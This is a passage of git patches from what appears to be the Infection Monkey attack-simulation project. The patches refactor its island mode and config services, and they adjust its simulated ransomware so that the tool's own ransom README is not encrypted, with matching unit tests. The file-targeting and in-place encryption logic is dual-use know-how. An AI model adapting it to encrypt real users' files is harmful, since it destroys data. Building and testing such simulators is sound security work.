monkey/monkey_island/cc/services/mode/{island_mode_service.py => get_island_mode_service.py} (60%) create mode 100644 monkey/monkey_island/cc/services/mode/set_island_mode_service.py diff --git a/monkey/monkey_island/cc/resources/island_mode.py b/monkey/monkey_island/cc/resources/island_mode.py index 7698fca9dac..ea2b8d9468d 100644 --- a/monkey/monkey_island/cc/resources/island_mode.py +++ b/monkey/monkey_island/cc/resources/island_mode.py @@ -5,7 +5,8 @@ from flask import make_response, request from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.mode.island_mode_service import ModeNotSetError, get_mode, set_mode +from monkey_island.cc.services.mode.get_island_mode_service import ModeNotSetError, get_mode +from monkey_island.cc.services.mode.set_island_mode_service import set_mode from monkey_island.cc.services.mode.mode_enum import IslandModeEnum logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/services/mode/island_mode_service.py b/monkey/monkey_island/cc/services/mode/get_island_mode_service.py similarity index 60% rename from monkey/monkey_island/cc/services/mode/island_mode_service.py rename to monkey/monkey_island/cc/services/mode/get_island_mode_service.py index b745ebef19e..1f27ad3b190 100644 --- a/monkey/monkey_island/cc/services/mode/island_mode_service.py +++ b/monkey/monkey_island/cc/services/mode/get_island_mode_service.py @@ -1,11 +1,4 @@ from monkey_island.cc.models.island_mode_model import IslandMode -from monkey_island.cc.services.mode.mode_enum import IslandModeEnum - - -def set_mode(mode: IslandModeEnum): - island_mode_model = IslandMode() - island_mode_model.mode = mode.value - island_mode_model.save() def get_mode() -> str: diff --git a/monkey/monkey_island/cc/services/mode/set_island_mode_service.py b/monkey/monkey_island/cc/services/mode/set_island_mode_service.py new file mode 100644 index 00000000000..a1190e42a04 --- /dev/null +++ b/monkey/monkey_island/cc/services/mode/set_island_mode_service.py @@ -0,0 +1,10 @@ +from monkey_island.cc.models.island_mode_model import IslandMode +from monkey_island.cc.services.mode.mode_enum import IslandModeEnum +from monkey_island.cc.services.config import ConfigService + + +def set_mode(mode: IslandModeEnum): + island_mode_model = IslandMode() + island_mode_model.mode = mode.value + island_mode_model.save() + ConfigService.update_config_on_mode_set(mode.value) From 743619b81bb98b53586927aa422e6004f4d8051d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 19 Jul 2021 15:37:53 +0530 Subject: [PATCH 1179/1360] island: Apply config filter as per mode --- monkey/monkey_island/cc/services/config.py | 34 ++++++++++++++----- .../cc/services/config_filters.py | 2 +- 2 files changed, 26 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index b29ac56e740..f70e8b611db 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -1,17 +1,18 @@ import collections import copy +import dpath.util import functools import logging -from typing import Dict +from typing import Dict, Optional from jsonschema import Draft4Validator, validators import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey.monkey_island.cc.services.config_filters import FILTER_PER_MODE +from monkey_island.cc.services.config_filters import FILTER_PER_MODE from monkey_island.cc.database import mongo from monkey_island.cc.server_utils.encryptor import get_encryptor from monkey_island.cc.services.config_schema.config_schema import SCHEMA -from monkey_island.cc.services.mode.island_mode_service import get_mode +from monkey_island.cc.services.mode.get_island_mode_service import ModeNotSetError, get_mode from monkey_island.cc.services.post_breach_files import PostBreachFilesService from monkey_island.cc.services.utils.network_utils import local_ip_addresses @@ -238,23 +239,34 @@ def init_default_config(): def get_default_config(should_encrypt=False): ConfigService.init_default_config() config = copy.deepcopy(ConfigService.default_config) - mode = get_mode() - config = ConfigService._set_default_config_values_per_mode(mode, config) + if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") + return config + @staticmethod + def update_config_on_mode_set(mode: str) -> None: + config = ConfigService.get_config() + ConfigService.update_config_per_mode(mode, config, True) + + @staticmethod + def update_config_per_mode(mode: str, config: Dict, should_encrypt: bool) -> None: + config = ConfigService._set_default_config_values_per_mode(mode, config) + ConfigService.update_config(config_json=config, should_encrypt=True) + @staticmethod def _set_default_config_values_per_mode(mode: str, config: Dict) -> Dict: - if mode == "advanced": - return config config_filter = FILTER_PER_MODE[mode] config = ConfigService._apply_config_filter(config, config_filter) + return config @staticmethod def _apply_config_filter(config: Dict, config_filter: Dict): - config.update(config_filter) + for path, value in config_filter.items(): + dpath.util.set(config, path, value, ".") return config @staticmethod @@ -268,7 +280,11 @@ def reset_config(): PostBreachFilesService.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) - ConfigService.update_config(config, should_encrypt=False) + try: + mode = get_mode() + ConfigService.update_config_per_mode(mode, config, should_encrypt=False) + except ModeNotSetError: + ConfigService.update_config(config, should_encrypt=False) logger.info("Monkey config reset was called") @staticmethod diff --git a/monkey/monkey_island/cc/services/config_filters.py b/monkey/monkey_island/cc/services/config_filters.py index 51db21b937f..2adda532acd 100644 --- a/monkey/monkey_island/cc/services/config_filters.py +++ b/monkey/monkey_island/cc/services/config_filters.py @@ -1,3 +1,3 @@ from monkey_island.cc.services.mode.mode_enum import IslandModeEnum -FILTER_PER_MODE = {IslandModeEnum.RANSOMWARE.value: {"basic.monkey.post_breach.post_breach_actions": []}} +FILTER_PER_MODE = {IslandModeEnum.RANSOMWARE.value: {"monkey.post_breach.post_breach_actions": []}} From 8879dae276ebb96a629abdf96f9956a64c9f9ed6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 10:12:06 -0400 Subject: [PATCH 1180/1360] Agent: Don't encrypt ransomware README.txt Fixes #1304 --- .../ransomware/file_selectors.py | 10 ++++++++++ .../ransomware/test_file_selectors.py | 20 +++++++++++++++++++ 2 files changed, 30 insertions(+) diff --git a/monkey/infection_monkey/ransomware/file_selectors.py b/monkey/infection_monkey/ransomware/file_selectors.py index 167c547e81f..33b73dd0645 100644 --- a/monkey/infection_monkey/ransomware/file_selectors.py +++ b/monkey/infection_monkey/ransomware/file_selectors.py @@ -1,6 +1,8 @@ from pathlib import Path from typing import List, Set +from common.utils.file_utils import get_file_sha256_hash +from infection_monkey.ransomware.consts import README_FILE_NAME, README_SHA256_HASH from infection_monkey.utils.dir_utils import ( file_extension_filter, filter_files, @@ -19,7 +21,15 @@ def __call__(self, target_dir: Path) -> List[Path]: file_extension_filter(self._targeted_file_extensions), is_not_shortcut_filter, is_not_symlink_filter, + _is_not_ransomware_readme_filter, ] all_files = get_all_regular_files_in_directory(target_dir) return filter_files(all_files, file_filters) + + +def _is_not_ransomware_readme_filter(filepath: Path) -> bool: + if filepath.name != README_FILE_NAME: + return True + + return get_file_sha256_hash(filepath) != README_SHA256_HASH diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py index fd948983795..42e852b953d 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_file_selectors.py @@ -1,4 +1,5 @@ import os +import shutil import pytest from tests.unit_tests.infection_monkey.ransomware.ransomware_target_files import ( @@ -12,6 +13,7 @@ from tests.utils import is_user_admin from infection_monkey.ransomware.file_selectors import ProductionSafeTargetFileSelector +from infection_monkey.ransomware.ransomware_payload import README_SRC TARGETED_FILE_EXTENSIONS = [".pdf", ".txt"] @@ -53,3 +55,21 @@ def test_directories_not_selected(ransomware_test_data, file_selector): selected_files = file_selector(ransomware_test_data) assert (ransomware_test_data / SUBDIR / HELLO_TXT) not in selected_files + + +def test_ransomware_readme_not_selected(ransomware_target, file_selector): + readme_file = ransomware_target / "README.txt" + shutil.copyfile(README_SRC, readme_file) + + selected_files = file_selector(ransomware_target) + + assert readme_file not in selected_files + + +def test_pre_existing_readme_is_selected(ransomware_target, stable_file, file_selector): + readme_file = ransomware_target / "README.txt" + shutil.copyfile(stable_file, readme_file) + + selected_files = file_selector(ransomware_target) + + assert readme_file in selected_files From 1d7476637ddf93f561dd63bea9e08056009ba0a7 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 10:21:07 -0400 Subject: [PATCH 1181/1360] Tests: Remove hash_file() and use get_file_sha256_hash() instead --- .../ransomware/test_in_place_file_encryptor.py | 8 ++++---- .../ransomware/test_readme_dropper.py | 6 +++--- monkey/tests/utils.py | 11 ----------- 3 files changed, 7 insertions(+), 18 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py index 3003311d0ff..eb263322655 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_in_place_file_encryptor.py @@ -9,8 +9,8 @@ TEST_KEYBOARD_TXT_CLEARTEXT_SHA256, TEST_KEYBOARD_TXT_ENCRYPTED_SHA256, ) -from tests.utils import hash_file +from common.utils.file_utils import get_file_sha256_hash from infection_monkey.ransomware.in_place_file_encryptor import InPlaceFileEncryptor from infection_monkey.utils.bit_manipulators import flip_bits @@ -44,11 +44,11 @@ def test_file_encrypted( ): test_keyboard = ransomware_target / file_name - assert hash_file(test_keyboard) == cleartext_hash + assert get_file_sha256_hash(test_keyboard) == cleartext_hash in_place_bitflip_file_encryptor(test_keyboard) - assert hash_file(test_keyboard) == encrypted_hash + assert get_file_sha256_hash(test_keyboard) == encrypted_hash def test_file_encrypted_in_place(in_place_bitflip_file_encryptor, ransomware_target): @@ -70,4 +70,4 @@ def test_encrypted_file_has_new_extension(ransomware_target): assert not test_keyboard.exists() assert encrypted_test_keyboard.exists() - assert hash_file(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 + assert get_file_sha256_hash(encrypted_test_keyboard) == TEST_KEYBOARD_TXT_ENCRYPTED_SHA256 diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py index 17d0d953cd4..516e0393526 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_readme_dropper.py @@ -1,6 +1,6 @@ import pytest -from tests.utils import hash_file +from common.utils.file_utils import get_file_sha256_hash from infection_monkey.ransomware.readme_dropper import leave_readme DEST_FILE = "README.TXT" @@ -23,10 +23,10 @@ def test_readme_already_exists(src_readme, dest_readme): leave_readme(src_readme, dest_readme) - assert hash_file(dest_readme) == EMPTY_FILE_HASH + assert get_file_sha256_hash(dest_readme) == EMPTY_FILE_HASH def test_leave_readme(src_readme, dest_readme): leave_readme(src_readme, dest_readme) - assert hash_file(dest_readme) == README_HASH + assert get_file_sha256_hash(dest_readme) == README_HASH diff --git a/monkey/tests/utils.py b/monkey/tests/utils.py index 8aea2d00767..9b57a9cc70a 100644 --- a/monkey/tests/utils.py +++ b/monkey/tests/utils.py @@ -1,7 +1,5 @@ import ctypes -import hashlib import os -from pathlib import Path def is_user_admin(): @@ -11,14 +9,5 @@ def is_user_admin(): return ctypes.windll.shell32.IsUserAnAdmin() -def hash_file(filepath: Path): - sha256 = hashlib.sha256() - with open(filepath, "rb") as f: - for block in iter(lambda: f.read(65536), b""): - sha256.update(block) - - return sha256.hexdigest() - - def raise_(ex): raise ex From c451a51b66c67963edea41c0dc8cf1bf67bc4454 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 10:26:08 -0400 Subject: [PATCH 1182/1360] Agent: Add ransomware_readme.txt to .gitattributes --- .gitattributes | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitattributes b/.gitattributes index 8ae3cfdb880..af71b93ddac 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,2 +1,3 @@ monkey/tests/data_for_tests/ransomware_targets/** -text monkey/tests/data_for_tests/stable_file.txt -text +monkey/infection_monkey/ransomware/ransomware_readme.txt -text From 52412ab1b7e7df869df64c73b5f7169e9a5782b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 16 Jul 2021 10:30:37 -0400 Subject: [PATCH 1183/1360] Tests: Add test_readme.txt to .gitattributes --- .gitattributes | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitattributes b/.gitattributes index af71b93ddac..807ae6822d5 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,3 +1,4 @@ monkey/tests/data_for_tests/ransomware_targets/** -text +monkey/tests/data_for_tests/test_readme.txt -text monkey/tests/data_for_tests/stable_file.txt -text monkey/infection_monkey/ransomware/ransomware_readme.txt -text From 8584217e3bbb16ef637aaf354f5e39a1aa878163 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 19 Jul 2021 13:53:28 +0300 Subject: [PATCH 1184/1360] Island UI: add island scenario/mode to the top of the side navigation if it's chosen --- .../monkey_island/cc/ui/src/components/Main.tsx | 11 ++++++++++- .../cc/ui/src/components/SideNavComponent.tsx | 16 ++++++++++++++-- .../layouts/SidebarLayoutComponent.tsx | 4 +++- 3 files changed, 27 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index 7635f3e4cb3..eab409e25a6 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -186,12 +186,21 @@ class AppComponent extends AuthComponent { } } + getSideNavHeader() { + if(this.state.islandMode === 'ransomware'){ + return "Ransomware" + } else { + return "Custom" + } + } + render() { let defaultSideNavProps = {completedSteps: this.state.completedSteps, onStatusChange: this.updateStatus, islandMode: this.state.islandMode, - defaultReport: this.getDefaultReport()} + defaultReport: this.getDefaultReport(), + sideNavHeader: this.getSideNavHeader()} return ( diff --git a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx index 450103bb963..450daddf78e 100644 --- a/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx +++ b/monkey/monkey_island/cc/ui/src/components/SideNavComponent.tsx @@ -18,11 +18,15 @@ const infectionMonkeyImage = require('../images/infection-monkey.svg'); type Props = { disabled?: boolean, completedSteps: CompletedSteps, - defaultReport: string + defaultReport: string, + header?: string } -const SideNavComponent = ({disabled, completedSteps, defaultReport}: Props) => { +const SideNavComponent = ({disabled, + completedSteps, + defaultReport, + header=''}: Props) => { return ( <> @@ -34,6 +38,14 @@ const SideNavComponent = ({disabled, completedSteps, defaultReport}: Props) => {